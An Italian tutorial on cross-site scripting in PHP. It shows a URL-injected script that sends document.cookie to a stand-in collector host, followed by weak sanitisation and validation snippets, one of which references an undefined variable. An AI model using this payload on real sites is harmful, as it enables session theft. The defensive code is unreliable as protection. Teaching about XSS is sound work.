Definizione Cross site scripting (XSS) e utilizzo

Si tratta di un tipo di attacco molto diffuso e per questo motivo lo affrontiamo per primo. Gli attacchi XSS avvengono quando il codice lato client (tipicamente si tratta di codice scritto in linguaggio JavaScript js) viene iniettato nell’output del tuo script PHP. Tipicamente il tutto avviene tramite l’URL, ma altre volte anche tramite una memorizzazione su DB. Ovviamente il tutto avviene quando l’hacker trova una falla. In questo tipo di attacco

 

Tipicamente gli hacker che fanno questo tipo di attacchi XSS cercano le pagine del sito web quelle che utilizzano il metodo di trasmissione dei dati GET

Facciamo un paio di esempi per chiarire meglio il concetto. Ma prima una precisazione tutti gli esempi che vi mostro in questa guida sono rivolti unicamente a farvi comprendere la natura del problema quindi a scopo puramente didattico. Da non mettere assolutamente in pratica e nel dubbio sappiate che l’hacking è illegale.

supponiamo di avere nella barra degli indirizzi un url che termina con

search.php?query=calciatore

ci possiamo aggiungere dalla barra degli indirizzi un po’ di codice html

search.php?query=calciatore</b

anche qui nulla di male il tutto è abbastanza innocuo.

Ma questa volta inseriamoci del codice Javascript ossia siamo già piu’ in ambito XSS del tipo

< script>document.location = “http://www.ebay.it”;</ script>

Ovviamente ebay è un sito normalissimo di compra vendita quindi nessun problema. Ma credo che già state iniziando a comprendere il problema.

Facciamo quindi su questo modello un ‘aggiunta

< script>document.location = “http://www.tuosito.com/cookies.php?a=”+document.cookie;</script >

Questo semplice script nel caso specifico passerà tutti i cookie del sito dirottato. E in remoto poi verranno memorizzati dal sito dirottatore. Ovviamente lo script completo non ve lo mostro. L’importante è che comprendiate la problematica.

Come difendersi dagli attacchi XSS.

Attacco XSS

Un vero e proprio metodo non c’e’ in quanto io vi ho fatto vedere unicamente un caso. Ma ce ne possono essere tanti una possibile implementazione potrebbero essere

 $input = str_replace(“‘”, “”, $_GET[‘query’]);
 $input = str_replace(‘”‘, “”, $input);
 $input = htmlentities($input); #sostituisce i caratteri < e >

Dove si prova a cancellare qualche carattere sospetto che presumibilmente non dovrebbe esistere o che comunque non ci aspettiamo di ricevere. Oppure se si aspetta in risposta di ricevere un’email bisogna scrivere un piccolo script di validazione del tipo

$email_a=$_GET[‘query’];
if (filter_var($email_a, FILTER_VALIDATE_EMAIL))
{ echo “This ($email_a) email address is considered valid.”; }
if (filter_var($email_b, FILTER_VALIDATE_EMAIL))
{ echo “This ($email_b) email address is considered valid.”; }

Ma insomma si rimane sempre nel vago. Non a caso ho fatto l’esempio delle email perchè comunemente gli attacchi XSS si concentrano proprio qui. Ovviamente la W3C combatte queste tecniche di hacking e alcune non sono piu’ utilizzabili, ma gli hacker riescono sempre ad aggirare anche le contromisure migliori . Ultimamente si utilizza molto la tecnica del redirect nell’header con codice all’interno della pagina. Ossia si va a sostituire direttamente nel dirottato il link del dirottatore. Ma qui mi fermo. Ovviamente io vi ho fatto vedere un caso con il PHP ma ogni linguaggio che possa leggere server side è utilizzabile.